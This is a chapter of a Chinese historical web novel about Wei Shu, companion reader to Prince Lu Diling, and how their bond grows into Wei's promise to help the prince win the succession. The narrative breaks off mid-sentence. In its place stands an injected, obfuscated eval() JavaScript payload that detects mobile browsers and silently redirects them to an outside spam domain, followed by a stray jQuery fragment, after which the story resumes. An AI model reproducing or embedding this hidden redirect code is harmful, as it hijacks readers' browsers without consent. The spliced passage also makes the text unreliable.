圣旨到卫府时,我正被父亲用弓梢压着手腕。
“再抬一寸。”
我依言抬起,箭尾跟着往下沉。父亲用弓梢敲了一记,叫我重来。第二支箭还在弦上,前院传来一阵急促脚步,管家赶到校场,说宫里来了人。
父亲收起弓,先叫我把那一箭射完。
宣旨的内侍已经在正堂候着,旨意命大将军卫慬之子卫树入宫,伴皇子棣昤读书。父亲接旨后留内侍喝了一盏茶,亲自将人送出正堂,回来便叫我明早入宫。
“宫里那么多皇子,为何选我陪他?”
“诸皇子身边都有人。陛下点你,未必为了那位殿下。”父亲把圣旨卷好,交给管家,“你是我的独子,放在宫里,比留在家中更方便叫人看。”
“每日散学便随内侍出来。若奉令留读,宫里自会传话,夜里住外值房。还有一件,”父亲看着我,“你进宫读书,可以同殿下论文章,卫家的兵和人情轮不到你拿去做人情。”
“我记下了。”
第二日天还灰着,卫府的车便把我送到了宫中。
殿里燃着沉香,几位皇子已经到了。有人倚着椅背同身边人说笑,有人翻书,有人把手炉抱在怀里,脸上带着还未睡醒的倦意。
陆棣昤与陆棣铭的位置靠后。兄弟二人生得一样,发冠与衣料也相近。陆棣铭先回头看我,手里的书卷成一筒,在膝上敲了两下;陆棣昤坐在另一侧,案上的纸按大小叠好,目光只在我身上停了一瞬。
内侍将我引到陆棣昤身边。我行了礼,他叫人添了一张案。
“你就是那个卫将军家的独子?”陆棣铭问。
我才要回答,陆棣昤道:“先生来了。”
陆棣铭把书摊开,翻了两页才找准今日讲的地方。
先生讲《尚书》,讲到“任贤勿贰,去邪勿疑”。旁的皇子有人点头,有人偷看窗外。陆棣昤在纸上写下几个字,又在旁边添了一行小注。
我无意瞥见。
他写的是:用人贵在可控。
我偏过脸看他,只看见他清瘦的侧脸。少年人眉眼还未彻底长开,鼻梁却已显出锋利,窗外光照得他脸色有些白。
后来我常同他一道听课。
伴读之职,说来光鲜,实际拘谨。清晨入宫,日暮前出宫。宫门一合,各归各处。偶尔奉令留读,宫中会提前传话,夜里只住外值房。我们两案相邻,可以替皇子磨墨,可以陪他读书、习字、骑射,却不能越过规矩留在宫中。黄昏内侍来催时,我便收拾书册,向他行礼告退。
最初几日,他与我话很少。
他问我父亲近来可安,问卫家军中可有北地旧将,问我读过哪些书,练过什么兵器。
我答得也谨慎。
他听完,不多追问,只在第二日将一卷边地舆图放到案上。
“你可看得懂?”
我低头看去。
那是一卷旧图,燕云、朔州、平州一线都画得很细,山口、河谷、旧道旁还有朱笔小字。舆图边角磨损,显然被人翻过很多次。
我问:“殿下想看哪里?”
他指向北边一处关口。
“若敌军自此入境,京中调兵,几日能到?”
我看着图,没有立刻答。
他抬眼看我。
我那时忽然生出一点少年人的气,觉得他问得刁钻,也觉得自己若答得含糊,往后在他跟前便只能替他研墨递书。我拿起笔,在图上点了几处。
“若只调京营,慢。若先令平州守军合兵,再调朔州骑兵截后,能快两日。可粮草要从这里走。”
我指到一条旧道。
陆棣昤看着那处,眼神微亮。
“此道窄。”
“窄,所以难走,也难防。”我道,“若有人先守在这里,后头便都堵住了。”
他低声道:“卫将军教你的?”
“父亲教过一点。”
“只一点?”
我看向他。
他也看着我。
那一刻,我忽然觉得殿中沉香太浓,窗外光也太亮。我们之间隔着一张舆图,指尖都落在那条旧道附近。再近一寸,便会碰到。
我先收回手。
他也低头,拿笔在那处画了一圈。
“那往后你多教我一点。”
宫里的皇子说话,哪怕再亲和,也常像命令。可那一日,他说“教我”时,语气里带着的一点认真像他真把我当成朋友,而非只会站在身后添墨的伴读。
我那时年少,心里难免生出几分得意,也生出几分说不清的亲近。
我做伴读的头几个月,大约有一半工夫都在惹他不悦。
他写策论,说以恩赏安抚边军。我问赏谁、赏多少、银子从哪里出。他让我写,我写到一半也算不出调兵后的粮耗。他便坐在旁边等,等到我搁笔,才问:“卫家的见识到这里便用尽了?”
习射时也一样。他连失两箭,教习说风向有变。我在后面站了片刻,道:“是手腕。”
陆棣昤把弓递给我。我射中靠里的红圈,他瞧着箭尾。
“你也偏了。”
“臣今日练得少。”
“我昨夜也读得晚。”
他照我的握法重新扣弦,第三箭近了许多。我叫他再抬手腕,第四箭终于落入正心。弦在他手指上磨出红痕,我把自己的护指递过去。
“你的。”
“我还有。”
其实只剩这一个。
那枚护指后来一直留在陆棣昤的弓匣里。他未提归还,我也未讨。
陆棣铭有一回换了兄长的衣冠,坐到兄长的位置上,叫我把新改的文章拿给他。我绕过他,将纸放到窗边那张案上。
“你怎么知道我不是哥哥?”后来陆棣铭问。
“只有您拿书会先把封皮摸许久都不翻开。”
陆棣铭低头看了一眼,笑得趴在案上。陆棣昤嫌他聒噪,叫他先把自己的功课补齐。兄弟二人拌了几句嘴,陆棣铭临走时还问我,伴读究竟是谁的人。
我答:“圣旨上写的是谁,便是谁。”
陆棣昤正在收那篇文章,闻言抬头看了我一眼。
陛下有一回亲自来考校诸子。
他年纪已长,鬓边带着白。几位年长的皇子已经各领差事,陆棣昤仍同一群少年候在末列。陛下坐下后先问几位年长皇子的差事,又问其中一人近来读过什么边报。先生提起陆棣昤那篇兵饷策论,陛下接过去看了两段,只道一句尚可,叫他继续用功。
众人恭送圣驾。陆棣昤回到案边,把那篇文章从头翻了一遍。
“陛下已经夸了。”我说。
“可父皇今日先问的其他兄长。”
“他也看了殿下的文章。”
“先生递过去,他才看的。”
他说完便把文章放下,重新抄写陛下方才问过的几件边事。我替他磨墨,纸角列着其他兄长的名字,每个名字后面都记了陛下问过什么、那人如何回答。
“记这些做什么?”
“下回父皇再问,总要有人答得更好。”
陆棣铭从廊下探进半个身子,催他去看马。陆棣昤先问:“先生罚的字抄完了?”
“还差两页。”
“抄完再去。”
陆棣铭嘴里抱怨,仍抱着书回来坐下。陆棣昤把自己才磨好的墨推给他,又在那张写满兄长姓名的纸角添了一句,明日叫人问妹妹的咳嗽。
他写到末尾,将纸对折,夹进书中。那时我已隐约明白,他每日比旁人早来半个时辰,远不止为了先生的一句夸奖。
宫里也有人劝我省些力气。一位伴读见我接连几日留到掌灯,低声说,陆棣昤的母妃早逝,上头又有许多兄长,我随他熬再久,也未必能换来什么。
那日午膳送到书房,陆棣昤照例把自己案上的咸糕推给我,又端走了我一口也不碰的甜酪。
“看我做什么?”他问。
“殿下何时爱吃甜酪了?”
“省得你下午饿了,又来拿我的点心。”
“臣只拿过一回。”
“一回也是拿。”
下一次传膳,内侍仍给我的食案多添了一碟咸糕。
先生有一日叫我们论军功承袭。我写将门子弟自幼耳濡目染,熟悉军务,比临时选拔的人更堪任用。陆棣昤读到这一句,提笔圈住。
“凭什么?”
“从小见得多。”
“你见过几家?”
我报了几户将门。他逐一问下去,问这些人中谁真正去过边地,谁领过兵,谁只会在京中骑马宴饮。我答到第三个便停了。
“卫树,”他说,“你常嫌旁人的文章只会说漂亮话,轮到自己,也会拿卫家认识的几个人当成天下。”
这话刺耳,偏又有理。我划去那一段,另写从军年限与考校办法。第二日再交,他看完只说尚可。
我将他上一篇策论翻出来,圈出一句“百姓皆感圣恩”。
“殿下见过多少?”
陆棣昤抬头看我。
我把笔递过去:“也改。”
那一日我们各自重写一页。陆棣铭进来叫兄长去看新得的马,陆棣昤说文章还剩半篇。他又转头叫我,我指了指面前那页。
陆棣铭在两张案前站了一阵。
“你们两个倒相配得很嘛。”
我问:“配什么?”
“配在这里耗到天都黑了。”
陆棣昤拿笔杆敲他的袖子。陆棣铭笑着躲开,走出几步又回头道:“明日马叫人挑走,可别怪我。”
陆棣昤低头改他的“百姓皆感圣恩”,只回了一句:“挑走便挑走。”
但我知道那匹马其实是他看中许久的。
陆棣昤母妃祭日那天,雨从午后落到入夜。
陆棣昤从母妃灵位前回来,衣上带着香灰气。他叫内侍退到帘外,照常翻开先生留下的书。我抄完一页,他手里的那卷仍停在原处。
“殿下拿反了。”
他低头将书翻正,开始背诵。同一句连错两回,第三回又把两个字换了位置。
我合上自己的书:“今日便到这里。”
“先生明日要问。”
“明早再看。”
他仍要继续。我伸手按住书页,手背碰到他的指节。
“少读一卷,陛下也不会因此废了殿下的功课。”
陆棣昤看了我一阵,将手收了回去。
“你听着。”
他从头背起,我照常挑错。背到末尾时,雨势已经小了。我替他换过热茶,他喝完,终于放下书。
起身时,他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774657|203305||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
衣袖带到案角的陶镇纸。我伸手接住,边角仍磕出一道缺口。几日后,我从家中带来一枚青玉镇纸,先交给管书内侍验过,隔日才摆到他的案上。
“卫家的东西?”
“我的。”
“太贵重。”
“那枚陶的会划纸。”
他把青玉压在我替他改过的策论上。
“先用着。”
这一用便是许多年。
陆棣昤加冠以后,受封、娶裴氏,迁入京中的赐府。我也交还伴读名籍,入兵部职方司。父亲也替我定了一门亲事。
从前每日相见,成年以后,往来反而要有名目。职方司奉命送册入府,同行姓名、册数与时辰,王府长史都记在拜簿上。
有一回,陆棣昤为问燕云马场的数目,多留了我三刻。翌日回司,尚书把拜簿抄页丢到我面前。
“陛下问,同行的人酉时都走了,你为何留到酉正?”
“殿下还在问册上的数。”
“写清楚。问了什么,谁在外头当值,一字也别省。”
我写满一页,尚书又叫我补上府里端来的两盏茶。过了几日,我再去议军马,陆棣昤从青玉镇纸下抽出那页回报。
“连茶都记了?”
“少写一盏,尚书便要我重写。”
“父皇倒惦记你。”
“惦记的是卫家。”
他在“酉正”两字上按了按:“以后早些走。”
“殿下少留一册,我便走得早。”
陆棣昤抬眼看我,把尚未翻开的那册塞回公文里。
“今日准你早走。明日那份马册,叫旁人送。”
自那以后,我们在人前只谈职方司经手的事。若无朝廷交办的差遣,几个月见不上一回。先皇又查过几次拜簿,各府来往随之收敛,送进卫府的请帖却一年比一年客气。
又过了十余年,太子之位仍空着。几位皇子各领差事,朝中大臣也渐渐有了亲疏。父亲谁的宴都不赴,礼物照原样退回,只奉先皇的调令行事。
秋猎前,职方司奉命核验随驾京营的名册。陆棣昤也在受命参议的诸王之列,我随堂官进府,议完已经近暮。众人走后,长史抱着拜簿候在廊下,陆棣昤当着他的面留我核对一名校尉的履历。
等那名长史去取旧册,他才把一张薄纸推过来。纸上只写官职与字号,彼此以细线相连,几位皇子常用的人都在其中。
我指着一名京营校尉:“此人的妻兄管马,同一府来往很密。消息只有一处,先放着。”
“秋猎就在三日后。”
他揉了两下眉心,仍低头看纸。我把茶推过去
“棣昤,歇一刻。”
笔尖停在纸上。
廊下有人走动。我也在此时才觉出自己叫了什么。陆棣昤抬头看我,眉间留着方才按出的浅红。
“人前不可如此。”
“我知道。”
长史抱着旧册回来。我们把那名校尉在册上的履历核完,又当着他的面说了几句马政。等人退出外书房,陆棣昤才把薄纸压到青玉下面。
“你既处处防着,为何还来?”
“臣来办差。”
“我问的并非今日。”
窗外有人收起晾晒的书页,纸张相碰,发出细碎声响。
陆棣昤隔着书案看我。
纸上还列着几位皇子常去的府邸、京营里同各家相连的武官、陛下近月召见过的重臣。那些名字摆在一处,所求已经很清楚。
我出身卫家,父亲握兵,姐姐们嫁入高门,卫家在京中看似风光,实际每一步都被人盯着。我从小听父亲说谨慎,听得耳朵都起了茧。可同陆棣昤在一处时,我又明白这谨慎意味着什么。
陆棣昤问我:“卫树,若有一日诸皇子相争,卫家会站在哪里?”
我道:“殿下这话,臣不敢答。”
“这里没有旁人。”
“正因没有旁人,才更不敢。”
他看着我。
秋日的寒气从门外涌进来,带着干冷。我能听见自己心跳,也能看见他袖口一截白色中衣。我们离得很近,近到我若抬手,便能替他拂去肩上一点雨雾。
他低声道:“连你也不敢?”
我望着他,觉得从进宫伴读那日起,每一次宫墙下并肩而行都在逼我走到这句话面前。
思索后,我终于道:“我会帮你赢。”
我以为他会笑我,或者说一句好大的口气,可他只是伸手,从我手里接过那张纸。指尖擦过我手背。
他说:“卫树,记住你今日的话。”
我把薄纸拿到自己面前。那名校尉的一位姻亲,恰好同我姊姊的夫家来往。父亲早就同我说过,卫家的兵和人情轮不到我拿去做人情。
过了一会,陆棣昤又问:“卫将军怎么看?”
“他不知道,也不会表态。所以臣父亲与军中的人,请殿下暂且别碰。”
陆棣昤抬起眼:“你在同我讲条件?”
“殿下可以不答应。”
他隔着长案看了我一阵,把那名校尉的字号划去。
“明日先查别处。”
我吹熄快要烧尽的一盏灯,把青玉镇纸移到名册中央。余下那盏留在我们中间。陆棣昤重新拿起笔,沿着我指过的地方往下写。